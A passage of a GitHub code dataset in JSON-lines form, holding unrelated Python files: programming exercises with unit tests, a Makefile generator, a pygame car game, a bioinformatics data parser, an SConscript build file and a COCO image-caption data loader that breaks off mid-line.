tab_strings[index] = new_first_letter + temp_string[2:] \\\n + first_letter_to_move_at_the_end + 'ay'\n s = \" \" #Restoring spaces between words\n return s.join(tab_strings)\n\n# Here's our \"unit tests\".\nclass Lesson1Tests(unittest.TestCase):\n\n def testArrayFront9(self):\n self.assertEqual(array_front9([1, 2, 9, 3, 4]) , True)\n self.assertEqual(array_front9([1, 2, 3, 4, 9]) , False)\n self.assertEqual(array_front9([1, 2, 3, 4, 5]) , False)\n\n def testStringTimes(self):\n self.assertEqual(string_times('Hel', 2),'HelHel' )\n self.assertEqual(string_times('Toto', 1),'Toto' )\n self.assertEqual(string_times('P', 4),'PPPP' )\n\n def testLast2(self):\n self.assertEqual(last2('hixxhi') , 1)\n self.assertEqual(last2('xaxxaxaxx') , 1)\n self.assertEqual(last2('axxxaaxx') , 2)\n\n def testLengthWord(self):\n self.assertEqual(length_words(['hello','toto']) , [5,4])\n self.assertEqual(length_words(['s','ss','59fk','flkj3']) , [1,2,4,5])\n\n def testNumber2Digits(self):\n self.assertEqual(number2digits(8849) , [8,8,4,9])\n self.assertEqual(number2digits(4985098) , [4,9,8,5,0,9,8])\n\n def testPigLatin(self):\n self.assertEqual(pigLatin(\"The quick brown fox\") , \"Hetay uickqay rownbay oxfay\")\n\n\n\ndef main():\n fizbuzz()\n unittest.main()\n\nif __name__ == '__main__':\n main()\n","repo_name":"SkatiRCI/starter-kit-datascience","sub_path":"gregory-freyd/Lesson2/cc_lesson_2.py","file_name":"cc_lesson_2.py","file_ext":"py","file_size_in_byte":4958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"15088119520","text":"\nresultado = 0\ntry:\n numero_1 = int(input(\"Ingrese un numero: \")) \n numero_2 = int(input(\"Ingrese otro numero: \"))\n resultado = numero_1 + numero_2\nexcept ValueError:\n print(\"Oopss... Lo que ha ingreso no es un numero, por favor pruebe de nuevo\")\nexcept:\n print(\"Ha salido un error, pruebe de nuevo por favor...\")\n\nprint(\"Suma: \", (resultado))\n\nwhile True:\n consulta = str(input(\"¿Quiere seguir sumando valores? (Si/No)\\n\"))\n if consulta == \"Si\" or consulta == \"SI\" or consulta == \"si\":\n numero_3 = int(input(\"Ingrese el numero: \"))\n resultado += numero_3\n print(\"Suma: \", (resultado))\n elif consulta == \"No\" or consulta == \"NO\" or consulta == \"no\":\n print(\"Goodbye...\")\n break","repo_name":"JPGenaro/PG3_ITSVillada2022","sub_path":"Manejo_de_exceptiones_con_python/Ejercicio_1.py","file_name":"Ejercicio_1.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18460203992","text":"#!/usr/bin/env python3\nimport sys\n\ndef get_metrics():\n c, n, m = sys.stdin.readline().split()\n return int(c), int(n), int(m) \n\ndef init_dp(max_cows):\n dp = [x[:] for x in [[1] * (max_cows + 1)] * 51]\n for i in range(51):\n for j in range(max_cows + 1):\n dp[i][j] = 0\n return dp\n\ndef read_cows_on_farms(number_farms):\n cows_per_farm = []\n for i in range(number_farms):\n cow = int(sys.stdin.readline())\n cows_per_farm.append(cow)\n return cows_per_farm\n\ndef init_farm_counts(dp, cows_per_farm):\n for cow in cows_per_farm:\n dp[0][cow] += 1\n \ndef calculate_all_day_counts(dp, max_cows):\n for i in range(50):\n for j in range(1, max_cows + 1):\n if (j <= max_cows //2):\n dp[i+1][j*2] += dp[i][j];\n else:\n dp[i+1][j] += 2*dp[i][j];\n\ndef check_day(dp, max_cows, day):\n tot = 0;\n for i in range(max_cows + 1):\n tot += dp[day][i];\n return tot\n\ndef print_inspection_day_values(dp, checkin_days, max_cows):\n for day in checkin_days:\n tot = check_day(dp, max_cows, day)\n sys.stdout.write(str(tot) + '\\n')\n \ndef main():\n max_cows, number_farms, days = get_metrics()\n dp = init_dp(max_cows)\n cows_per_farm = read_cows_on_farms(number_farms)\n init_farm_counts(dp, cows_per_farm)\n checkin_days = list(map(int, sys.stdin.readlines()))\n calculate_all_day_counts(dp, max_cows)\n print_inspection_day_values(dp, checkin_days, max_cows)\n \nif __name__ == \"__main__\":\n main()","repo_name":"DrakeCullen/AdvPy-dpcullen","sub_path":"final/MagicalCows/magicalcows.py","file_name":"magicalcows.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42662386851","text":"#!/usr/bin/python3\n\nimport sys\nimport os\nimport platform\nimport shutil\nimport json\nfrom fnmatch import fnmatch\nfrom optparse import OptionParser\n\ndef isWindows():\n if platform.system() == 'Linux':\n return False\n else:\n return True\n\ndef arrayToString(value):\n i = ' '\n return i.join(value)\n\nclass Consts:\n JsonFileName = 'build.json'\n\nclass BuildJson:\n def __init__(self, filename):\n json_file = open(filename, 'r')\n self.data = json.load(json_file)\n json_file.close()\n\n def getData(self):\n return self.data\n\n def getVersion(self):\n return self.data['version']\n\n def getCompiler(self):\n return self.data['compiler']\n\n def getGeneral(self):\n return self.data['general']\n\n def getAppName(self):\n return self.getGeneral()['appName']\n\n def getProjectWorkspacePath(self):\n return self.getGeneral()['projectWorkspace']\n\n def getCodeInfo(self):\n return self.data['code']\n\n def getIncludeDir(self):\n return self.getCodeInfo()['includeDir']\n\n def getWindowsIncludeDir(self):\n return self.getIncludeDir()['win32']\n\n def getLinuxIncludeDir(self):\n return self.getIncludeDir()['linux']\n\n def getLibs(self):\n return self.getCodeInfo()['libs']\n\n def getWindowsLibs(self):\n return self.getLibs()['win32']\n\n def getMsvcLibs(self):\n return self.getLibs()['msvc-lib']\n\n def getLinuxLibs(self):\n return self.getLibs()['linux']\n\n def getDebugMode(self):\n return self.data['debug']\n\n def getFlagsDebugMode(self):\n return self.getDebugMode()['flags']\n\n def getDefineDebugMode(self):\n return self.getDebugMode()['define']\n\n def getReleaseMode(self):\n return self.data['release']\n\n def getFlagsReleaseMode(self):\n return self.getReleaseMode()['flags']\n\n def getDefineReleaseMode(self):\n return self.getReleaseMode()['define']\n\nclass Workspace:\n def __init__(self, settingsCat):\n self.patternSources = ['.cpp', '.c', '.cc', '.cxx']\n self.patternHeaders = ['.hpp', '.h', '.hh', '.hxx']\n self.settingsCatalog = settingsCat\n if not os.path.exists(self.settingsCatalog):\n try:\n os.makedirs(self.settingsCatalog)\n except OSError as e:\n if e.errno != errno.EEXIST:\n raise\n self.fileList = []\n self.dirsList = []\n self.fileListWithoutExt = []\n self.fileListOnlyName = []\n self.fileListWithObject = []\n self.objectTargets = []\n self.destFileList = self.settingsCatalog + '/filedb'\n\n def clean(self):\n self.fileList.clear()\n self.dirsList.clear()\n self.fileListWithoutExt.clear()\n self.fileListOnlyName.clear()\n self.fileListWithObject.clear()\n self.objectTargets.clear()\n\n def save(self):\n currentFileList = open(self.destFileList, 'w')\n currentFileList.seek(0) # probably is set in the upper line, but I want to be sure\n for i in self.fileList:\n currentFileList.write(i + '\\n')\n currentFileList.close()\n\n def isChanged(self):\n if not os.path.exists(self.destFileList):\n self.save()\n pervList = open(self.destFileList, 'r')\n d1 = pervList.readlines()\n pervList.close()\n self.clean()\n self.scan()\n if len(self.fileList) != len(d1):\n return True\n else:\n return False\n\n def update(self):\n if self.isChanged():\n self.fileList.clear() # clear old file list\n self.dirsList.clear()\n self.objectTargets.clear()\n self.scan() # get new file list\n self.save() # save to filedb file list\n\n # method get all path to .cpp/.c/.cc.cxx files\n # and save in fileList array\n def scan(self):\n for path, subdirs, files in os.walk('.'): # subdirs is not used because os.walk() return\n for name in files: # list of sub-folder in folders\n for i in self.patternSources:\n pp = '*' + i\n if fnmatch(name, pp):\n self.fileList.append(os.path.join(path, name))\n self.dirsList.append(path)\n\n self.fileList.sort()\n self.dirsList.sort()\n if isWindows():\n for i in range(0, len(self.fileList)):\n self.fileList[i] = self.fileList[i][2:] # remove '.\\\\'\n #for i in range(0, len(self.dirsList)):\n # self.dirsList[i] = self.dirsList[i][2:] # remove '.\\\\'\n # print(self.fileList)\n self.fileListWithoutExt.clear()\n for i in self.fileList:\n self.fileListWithoutExt.append(os.path.splitext(i)[0])\n\n for i in self.fileListWithoutExt:\n self.fileListOnlyName.append(os.path.basename(i))\n \n self.fileListWithObject.clear()\n for i in self.fileListOnlyName:\n self.fileListWithObject.append(i + '.o')\n # print('fileListWithoutExt: ' + arrayToString(self.fileListWithoutExt))\n # print('dirList: ' + arrayToString(self.dirsList))\n for i in self.fileListWithoutExt:\n self.objectTargets.append(i + '.o')\n\n def getDirs(self):\n # print('dirsList(): ' + arrayToString(self.dirsList))\n return self.dirsList\n\n def getFileList(self):\n # print('getFileList(): ' + arrayToString(self.fileList))\n return self.fileList\n\n def getFileListOnlyName(self):\n # print('getFileListOnlyName(): ' + arrayToString(self.fileListOnlyName))\n return self.fileListOnlyName\n\n def getFileListWithObject(self):\n # print('getFileListWithObject(): ' + arrayToString(self.fileListWithObject))\n return self.fileListWithObject\n\n def getObjectTargets(self):\n # print('getObjectTargets(): ' + arrayToString(self.objectTargets))\n return self.objectTargets\n\n def numberOfFiles(self):\n # v = len(self.fileList)\n # print ('\\nfileList: ' , v)\n # v = len(self.dirsList)\n # print ('dirsList: ' , v)\n # v = len(self.fileListOnlyName)\n # print ('fileListOnlyName: ' , v)\n # v = len(self.fileListWithObject)\n # print('getFileListWithObject(): ' + arrayToString(self.fileListWithObject))\n # print ('fileListWithObject: ', v)\n # v = len(self.objectTargets)\n # print ('objectTargets: ' , v , '\\n')\n return len(self.fileList)\n\nclass MakeConstValues:\n Includes = 'INCLUDES'\n CXXFlags = 'CXXFLAGS'\n DCXXFlags = 'DCXXFLAGS'\n LDFlags = 'LDFLAGS'\n Libs = 'LIBS'\n MSVCLibs = 'MSVCLIBS'\n GCC = 'CXX'\n DefineDebug = 'DDEFINE'\n DefineRelease = 'DEFINE'\n\nclass MakeOutputsCatalogs:\n BuildMode = ['Debug', 'Release']\n App = 'bin'\n DebugApp = App + '/' + BuildMode[0]\n ReleaseApp = App + '/' + BuildMode[1]\n ObjectFiles = 'obj'\n DebugObjectFile = ObjectFiles + '/' + BuildMode[0]\n ReleaseObjectFile = ObjectFiles + '/' + BuildMode[1]\n\nclass PlatformDeps:\n def includes(self):\n return ''\n \n def msvcLibs(self):\n return ''\n\n def libs(self):\n return ''\n\nclass WindowsDeps(PlatformDeps):\n def __init__(self, buildJsonFile):\n self.buildJson = buildJsonFile\n\n def includes(self):\n result = []\n for i in self.buildJson.getWindowsIncludeDir():\n result.append(' -I' + i)\n return result\n \n def msvcLibs(self):\n result = []\n for i in self.buildJson.getMsvcLibs():\n result.append(' ' + i)\n return result\n\n def libs(self):\n result = []\n for i in self.buildJson.getWindowsLibs():\n result.append(' -l' + i)\n return result\n\nclass LinuxDeps(PlatformDeps):\n def __init__(self, buildJsonFile):\n self.buildJson = buildJsonFile\n\n def includes(self):\n result = []\n for i in self.buildJson.getLinuxIncludeDir():\n result.append(' -I' + i)\n return result\n\n # not applicable\n def msvcLibs(self):\n return ''\n\n def libs(self):\n result = []\n for i in self.buildJson.getLinuxLibs():\n result.append(' -l' + i)\n return result\n\nclass MakefileGenerator:\n def __init__(self, settingsCat, jsonFile):\n self.settingsCatalog = settingsCat\n copyFileDir = settingsCat + '/' + Consts.JsonFileName\n if not os.path.exists(copyFileDir):\n shutil.copy('./' + Consts.JsonFileName, copyFileDir)\n # compare two json file (old and new)\n # if are diffrent copy build.json to .builddb/build.json\n # and generate new makefile\n builddbFile = BuildJson(copyFileDir)\n if builddbFile.getData() != jsonFile.getData():\n # print('Makefile - build.json are different')\n shutil.copy('./' + Consts.JsonFileName, copyFileDir)\n self.buildJson = jsonFile\n self.Makefile = open('Makefile', 'w')\n self.fileSourceList = []\n\n def __del__(self):\n self.Makefile.close()\n\n def writeLine(self, line):\n self.Makefile.write(line + '\\n')\n\n def createCatalogs(self, workspace):\n # create a bin catalog for executable app\n if not os.path.exists(MakeOutputsCatalogs.DebugApp):\n os.makedirs(MakeOutputsCatalogs.DebugApp)\n\n if not os.path.exists(MakeOutputsCatalogs.ReleaseApp):\n os.makedirs(MakeOutputsCatalogs.ReleaseApp)\n\n # craete a obj catalog for .o files\n if not os.path.exists(MakeOutputsCatalogs.DebugObjectFile):\n os.makedirs(MakeOutputsCatalogs.DebugObjectFile)\n\n if not os.path.exists(MakeOutputsCatalogs.ReleaseObjectFile):\n os.makedirs(MakeOutputsCatalogs.ReleaseObjectFile)\n\n # create sub-catalogs (deps from [.cpp, .c, .cxx, .cc] files)\n for i in workspace.getDirs():\n dirDebug = MakeOutputsCatalogs.DebugObjectFile + '/' + i\n dirRelease = MakeOutputsCatalogs.ReleaseObjectFile + '/' + i\n if not os.path.exists(dirDebug):\n os.makedirs(dirDebug)\n if not os.path.exists(dirRelease):\n os.makedirs(dirRelease)\n\n def defineValues(self):\n # set values like CXX, CXXFLAGS, etc.\n self.writeLine(MakeConstValues.GCC + '=' + self.buildJson.getCompiler())\n self.writeLine(MakeConstValues.CXXFlags + '=' +\n arrayToString(self.buildJson.getFlagsReleaseMode()))\n\n self.writeLine(MakeConstValues.DCXXFlags + '=' +\n arrayToString(self.buildJson.getFlagsDebugMode()))\n tmpArray = []\n for i in self.buildJson.getDefineDebugMode():\n tmpArray.append(' -D' + i)\n self.writeLine(MakeConstValues.DefineDebug + '=' + arrayToString(tmpArray))\n\n tmpArray.clear()\n for i in self.buildJson.getDefineReleaseMode():\n tmpArray.append(' -D' + i)\n self.writeLine(MakeConstValues.DefineRelease + '=' + arrayToString(tmpArray))\n\n def generateMakefile(self, workspace):\n print('Generates a Makefile ..', end='')\n appName = self.buildJson.getAppName()\n if isWindows():\n appName += '.exe'\n\n self.createCatalogs(workspace)\n # start write to Makefile\n self.defineValues()\n\n platform = PlatformDeps()\n if isWindows():\n platform = WindowsDeps(self.buildJson)\n else:\n platform = LinuxDeps(self.buildJson)\n\n self.writeLine(MakeConstValues.Libs + '=' + arrayToString(platform.libs()))\n self.writeLine(MakeConstValues.MSVCLibs + '=' + arrayToString(platform.msvcLibs()))\n self.writeLine(MakeConstValues.Includes + '=' + arrayToString(platform.includes()))\n\n targetsToRemoveDebug = []\n targetsToRemoveRelease = []\n\n for i in workspace.getObjectTargets():\n oDirDebug = MakeOutputsCatalogs.DebugObjectFile + '/' + i\n oDirRelease = MakeOutputsCatalogs.ReleaseObjectFile + '/' + i\n targetsToRemoveDebug.append(oDirDebug)\n targetsToRemoveRelease.append(oDirRelease)\n\n # main target\n self.writeLine('\\n.PHONY: all')\n self.writeLine('\\nall: debug release\\n')\n self.writeLine(\"debug\" + ': debug-target')\n self.writeLine('\\t$(' + MakeConstValues.GCC + ') ' + arrayToString(targetsToRemoveDebug)\n + ' $(' + MakeConstValues.Libs + ') $(' + MakeConstValues.MSVCLibs + ') -o ' +\n MakeOutputsCatalogs.DebugApp + '/' + appName)\n self.writeLine(\"\\nrelease\" + ': release-target')\n self.writeLine('\\t$(' + MakeConstValues.GCC + ') ' + arrayToString(targetsToRemoveRelease)\n + ' $('+ MakeConstValues.Libs + ') $(' + MakeConstValues.MSVCLibs + ') -o ' +\n MakeOutputsCatalogs.ReleaseApp + '/' + appName)\n\n # sub-targets\n self.writeLine('\\ndebug-target:')\n for i in range(0, workspace.numberOfFiles()):\n oDir = MakeOutputsCatalogs.DebugObjectFile + '/' + workspace.getObjectTargets()[i]\n self.writeLine('\\t$(' + MakeConstValues.GCC + ') $(' + MakeConstValues.DefineDebug +\n ') $(' + MakeConstValues.DCXXFlags + ') -c ' + workspace.getFileList()[i] + ' $(' +\n MakeConstValues.Includes + ') -o ' + oDir)\n\n self.writeLine('\\nrelease-target:')\n for i in range(0, workspace.numberOfFiles()):\n oDir = MakeOutputsCatalogs.ReleaseObjectFile + '/' + workspace.getObjectTargets()[i]\n self.writeLine('\\t$(' + MakeConstValues.GCC + ') $(' + MakeConstValues.DefineRelease +\n ') $(' + MakeConstValues.CXXFlags + ') -c ' + workspace.getFileList()[i] + ' $(' +\n MakeConstValues.Includes + ') -o ' + oDir)\n\n self.writeLine(\"\\nclean: debug-clean release-clean\")\n\n self.writeLine('\\ndebug-clean:')\n self.writeLine('\\trm ' + MakeOutputsCatalogs.DebugApp + '/' + appName + ' ' +\n arrayToString(targetsToRemoveDebug))\n\n self.writeLine('\\nrelease-clean:')\n self.writeLine('\\trm ' + MakeOutputsCatalogs.ReleaseApp + '/' + appName + ' ' +\n arrayToString(targetsToRemoveRelease))\n\n print('.. Done')\n\n\ndef generateProject(buildCatalog, parameters):\n workspace = Workspace(buildCatalog)\n buildJsonFile = BuildJson(parameters)\n if workspace.isChanged() == True:\n workspace.update()\n makefile = MakefileGenerator(buildCatalog, buildJsonFile)\n makefile.generateMakefile(workspace)\n else:\n print('No changes')\n\n\ndef usage(): # improvement this description\n message = \"python3 build.py [args]\\n\" \\\n \"\\t[args]:\\n\" \\\n \"\\t python3 build.py generate - generate a Makefile base on build.json file\"\n return message\n\n\ndef actions(action, parameters):\n settingsCatalog = \".builddb\"\n if action == 'generate': generateProject(settingsCatalog, parameters)\n else:\n usage()\n\n\ndef main():\n global buildJsonFileDir\n args = sys.argv[1:]\n parser = OptionParser(usage=usage())\n parser.add_option('-s', '--settings', dest='buildJsonFileDir', default='build.json')\n (option, arg) = parser.parse_args()\n buildJsonFileDir = option.buildJsonFileDir\n if not args:\n usage()\n else:\n for i in args:\n actions(i, buildJsonFileDir)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Animator617/Py3Make-Generator","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":15546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17502996914","text":"# My turn\ndef solution(dirs):\n answer = 0 # 답\n # 방문 배열([시작행,시작열,끝행,끝열])\n visited = [[[[False for _ in range(11)] for _ in range(11)] for _ in range(11)] for _ in range(11)]\n start_row,start_col,end_row,end_col = 5,5,5,5 # 가운데에서 시작\n visited[5][5][5][5] = True # 방문 처리(굳이 안해도됨)\n\n for dir in dirs: # 방향\n flag = False # 조건에 충족하는지 안하는지\n if dir == 'U' and start_row != 0: # U이고 시작행이 0이 아니면\n end_row -= 1 # 다음 이동할 행 -= 1\n flag = True # 조건 참\n elif dir == 'D' and end_row != 10: # D이고 시작행이 10(끝)이 아니면\n end_row += 1 # 다음 이동할 행 += 1\n flag = True # 조건 참\n elif dir == 'L' and start_col != 0: # L이고 시작열이 0이 아니면\n end_col -= 1 # 다음 이동할 열 -= 1\n flag = True # 조건 참\n elif dir == 'R' and end_col != 10: # R이고 끝행이 10(끝)이 아니면\n end_col += 1 # 다음 이동할 열 += 1\n flag = True # 조건 참\n \n if flag and not visited[start_row][start_col][end_row][end_col]: # 조건 충족하고 들린 루트가 아니라면\n answer += 1 # 답 += 1 \n visited[start_row][start_col][end_row][end_col] = True # 양방향 루트 추가\n visited[end_row][end_col][start_row][start_col] = True\n start_row, start_col = end_row, end_col # 끝행과 끝열을 다음 시작행과 시작열로 교체\n \n return answer\n\n#solution(\"ULURRDLLU\")\n\n# Good Explanation\ndef solution(dirs):\n s = set() # 중복 제거 집합\n d = {'U': (0,1), 'D': (0, -1), 'R': (1, 0), 'L': (-1, 0)} # dict 형식\n x, y = 0, 0 # x좌표 y좌표 0,0\n for i in dirs: # 방향\n nx, ny = x + d[i][0], y + d[i][1] # 이동할 좌표 = 현재 좌표에서 이동할 문자에 해당되는 인덱스 +\n if -5 <= nx <= 5 and -5 <= ny <= 5: # x,y 좌표가 범위내에 있다면\n s.add((x,y,nx,ny)) # 양방향 추가\n s.add((nx,ny,x,y))\n x, y = nx, ny # 이동한 좌표를 현재 좌표로\n return len(s)//2 # 양방향 간선이라 //2 해줌\n\nsolution(\"LULLLLLLU\")","repo_name":"leesh125/Programmers_coding_test","sub_path":"lv2/Python3/VisitLength.py","file_name":"VisitLength.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15979709166","text":"import asyncio\nfrom plugins import PluginManager\nimport console\nimport entity\n\nimport pygame, pygame.freetype\n\naspect_ratio = [9, 16]\n\nWIDTH = 480 # 9\nHEIGHT = (WIDTH // aspect_ratio[0]) * aspect_ratio[1] # 16\n\nBACKGROUND = (0, 0, 0)\n\ncar = None\nroad = None\nobstacles_group = None\n\n\ndef init_pygame():\n global screen, clock, GAME_FONT\n pygame.init()\n screen = pygame.display.set_mode((WIDTH, HEIGHT))\n GAME_FONT = pygame.freetype.Font(\"assets/BACKTO1982.TTF\", 24)\n clock = pygame.time.Clock()\n\n\nasync def spawn_initial_entities():\n global road, car, obstacles_group, plugins\n road = entity.Road(WIDTH // 2, HEIGHT // 2, WIDTH, HEIGHT + 16) # spawn road\n car = entity.Car(WIDTH // 2, HEIGHT - (HEIGHT // 3), 64, 96) # spawn car at the bottom center\n\n obstacles_group = pygame.sprite.Group()\n obstacles_group.add(entity.Person(WIDTH//3*2, 1)) # Spawn person on the 2/3 of width\n obstacles_group.add(entity.Person(WIDTH//3 , 1, value=50)) # spawn person 1/3 width with 50 point value\n await plugins.run_hook(\"on_init\", obstacles_group)\n\n\nasync def main():\n global plugins\n plugins = PluginManager(path=\"plugins\") # initialize plugin system\n # register hooks\n plugins.register_hook(\"on_screen_draw\")\n plugins.register_hook(\"on_progress\")\n plugins.register_hook(\"on_init\")\n plugins.search_plugins() # load plugins from the folder\n plugins.enable_all((WIDTH, HEIGHT)) # plugins started\n\n init_pygame()\n await spawn_initial_entities()\n frame = 0\n while True:\n break_now = False\n ### GAME LOOP ###\n pygame.event.pump()\n\n # Draw loop\n screen.fill(BACKGROUND)\n\n if frame % 10 == 0: # once every 10 frames\n road.progress() # scroll road\n road.draw(screen) # we must render the road first otherwise everything will be \"under\" the road and we will see nothing\n for i in obstacles_group:\n i.progress(8, car) # call progress on everything that is not car or road\n await plugins.run_hook(\"on_progress\", car)\n else:\n road.draw(screen)\n \n obstacles_group.draw(screen) # draw the progressed obstacles\n car.draw(screen)\n car.update(WIDTH)\n\n score_text, rect = GAME_FONT.render(\"Score: \"+str(car.score), (0, 0, 0))\n screen.blit(score_text, (WIDTH*0.1, HEIGHT*0.05)) # display score in the left bottom corner\n \n await plugins.run_hook(\"on_screen_draw\", screen)\n pygame.display.flip()\n clock.tick(60)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n break_now = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_r:\n break_now = True\n if break_now:\n break\n frame += 1 # increment the frame counter (we could use this to get FPS)\n\nasyncio.run(main()) # run the main program as async task (we need this if we want to export to WebAssembly)\n","repo_name":"HonzaLed/car-game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23590375529","text":"# Author: Darshan Ghorpade\n# Location: Earth\n# Date: 31/03/2022\n\n# Format method(Strings)\n# Formats the values inside the string into the desired output\n# template.format(p1, p2, …) #p1, p2 … are the arguments\n\nname = \"Darshan\"\nchannel = \"Darshan Ghorpade\"\ntype = \"coding\"\n# a = f\"This is {name}\"\n# a = \"This is {} and his channel is {}\".format(name, channel)\na = \"This is {0} and his {2} channel is {1}\".format(name, channel, type)\nprint(a)","repo_name":"DarshanGhorpade/python","sub_path":"13. Chapter 13/04_format.py","file_name":"04_format.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70278596589","text":"import re\n\nimport pypath.share.curl as curl\nimport pypath.resources.urls as urls\n\n\ndef phosphonetworks_enzyme_substrate():\n\n result = []\n reres = re.compile(r'([A-Z])([0-9]+)')\n non_digit = re.compile(r'[^\\d.-]+')\n motre = re.compile(r'(-*)([A-Za-z]+)(-*)')\n url = urls.urls['phosnw']['url']\n c = curl.Curl(url, silent = False)\n data = c.result\n\n if data is None:\n\n return\n\n data = data.split('\\n')\n\n for l in data:\n\n if l.startswith('>'):\n\n substrate = l[1:].strip()\n\n elif len(l.split('\\t')) >= 4:\n\n l = [x.strip() for x in l.split('\\t')]\n res = reres.match(l[1])\n resnum = int(non_digit.sub('', res.groups()[1]))\n mot = motre.match(l[0])\n\n if mot:\n start = resnum - 7 + len(mot.groups()[0])\n end = resnum + 7 - len(mot.groups()[2])\n instance = l[0].replace('-', '').upper()\n else:\n start = None\n end = None\n instance = l[0]\n result.append({\n 'instance': instance,\n 'kinase': l[2],\n 'resaa': res.groups()[0],\n 'resnum': resnum,\n 'score': float(non_digit.sub('', l[3])),\n 'substrate': substrate,\n 'start': start,\n 'end': end\n })\n\n return result\n\n\ndef phosphonetworks_interactions():\n\n result = []\n data = phosphonetworks_enzyme_substrate()\n for l in data:\n result.append((l['kinase'], l['substrate']))\n\n return [list(x) for x in list(set(result))]\n","repo_name":"saezlab/pypath","sub_path":"pypath/inputs/phosphonetworks.py","file_name":"phosphonetworks.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"37"} +{"seq_id":"13212008517","text":"__author__ = \"Florence Carton\"\n\nimport sys\nfrom environments.EnvironmentGrid1D import EnvironmentGrid1D\nfrom environments.EnvironmentGrid2D import EnvironmentGrid2D\nfrom environments.EnvironmentMaze2D import EnvironmentMaze2D\n\n\ndef make_env(env_name, params):\n\n\tlist_environments = {\n\t'EnvironmentMaze2D':EnvironmentMaze2D(params)\n\t}\n\n\ttry:\n\t\tenv = list_environments[env_name]\n\texcept:\n\t\tprint('env_name not found')\n\t\tsys.exit()\n\n\treturn env\n\n","repo_name":"charransol/in104","sub_path":"Code_base IN104/environments/load_env.py","file_name":"load_env.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15523463577","text":"import os\r\n\r\nImport('env')\r\nImport('projects')\r\nImport('RTT_ROOT')\r\nImport('rtconfig')\r\n\r\n# group definitions\r\ngroup = {}\r\ngroup['name'] = 'MP3Decoder'\r\ngroup['CCFLAGS'] = ''\r\ngroup['CPPPATH'] = [os.getcwd() + '/pub', os.getcwd() + '/real']\r\ngroup['CPPDEFINES'] = []\r\ngroup['LINKFLAGS'] = ''\r\n\r\nsrc = Split(\"\"\"\r\nmp3dec.c\r\nmp3tabs.c\r\nreal/bitstream.c\r\nreal/buffers.c\r\nreal/dct32.c\r\nreal/dequant.c\r\nreal/dqchan.c\r\nreal/huffman.c\r\nreal/hufftabs.c\r\nreal/imdct.c\r\nreal/scalfact.c\r\nreal/stproc.c\r\nreal/subband.c\r\nreal/trigtabs.c\r\nreal/arm/asmpoly_thumb2.s\r\nreal/arm/asmmisc.s\r\n\"\"\")\r\n\r\ngroup['src'] = File(src)\r\n\r\n# add group to project list\r\nprojects.append(group)\r\n\r\nenv.Append(CCFLAGS = group['CCFLAGS'])\r\nenv.Append(CPPPATH = group['CPPPATH'])\r\nenv.Append(CPPDEFINES = group['CPPDEFINES'])\r\nenv.Append(LINKFLAGS = group['LINKFLAGS'])\r\n\r\nobj = env.Object(group['src'])\r\n\r\nReturn('obj')\r\n","repo_name":"aozima/stm32_radio","sub_path":"trunk/stm32radio_examples/examples/5_media_mp3/mp3/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"37"} +{"seq_id":"32122122028","text":"import json\nfrom typing import List\n\nfrom util import listToJson\n\nif __name__ == '__main__':\n sections: List[dict] = json.load(open('_pawsSection.raw.json', 'r'))\n\n titles = set()\n for section in sections:\n titles.add(section['title'][0])\n\n titles = list(titles)\n\n listToJson(titles, 'title')\n","repo_name":"XuZhen86/FloridaTechDataSpider","sub_path":"title.py","file_name":"title.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11351346209","text":"'''\nThis code is mainly taken from the following github repositories:\n1. parksunwoo/show_attend_and_tell_pytorch\nLink: https://github.com/parksunwoo/show_attend_and_tell_pytorch/blob/master/prepro.py\n\n2. sgrvinod/a-PyTorch-Tutorial-to-Image-Captioning\nLink: https://github.com/sgrvinod/a-PyTorch-Tutorial-to-Image-Captioning\n\nThis script loads the COCO dataset in batches to be used for training/testing\n''' \n\nimport os\nimport nltk\nimport torch\nimport torch.utils.data as data\nfrom PIL import Image\nfrom pycocotools.coco import COCO\nfrom torchvision import transforms\nfrom config import Config\n\nconfig = Config()\n\nclass DataLoader(data.Dataset):\n def __init__(self, root, json, vocab, transform=None):\n\n self.root = root\n self.coco = COCO(json)\n self.ids = list(self.coco.anns.keys())\n self.vocab = vocab\n self.transform = transform\n\n def __getitem__(self, index):\n coco = self.coco\n vocab = self.vocab\n ann_id = self.ids[index]\n caption = coco.anns[ann_id]['caption']\n img_id = coco.anns[ann_id]['image_id']\n path = coco.loadImgs(img_id)[0]['file_name']\n fullPath = os.path.join(self.root, path);\n try:\n image = Image.open(fullPath).convert('RGB')\n if self.transform is not None:\n image = self.transform(image)\n\n tokens = nltk.tokenize.word_tokenize(str(caption).lower())\n caption = []\n caption.append(vocab(''))\n for token in tokens:\n if token == '':\n caption.extend([vocab['[unk]']])\n else:\n try:\n caption.extend([vocab(token)])\n except:\n print(f\"Error extending token {token}\")\n pass\n caption.append(vocab(''))\n target = torch.Tensor(caption)\n\n return image, target, img_id\n\n except Exception as e:\n print(f\"Exception: {e}\")\n print(f\"Image path: {fullPath}\")\n return None, None, None\n\n def __len__(self):\n return 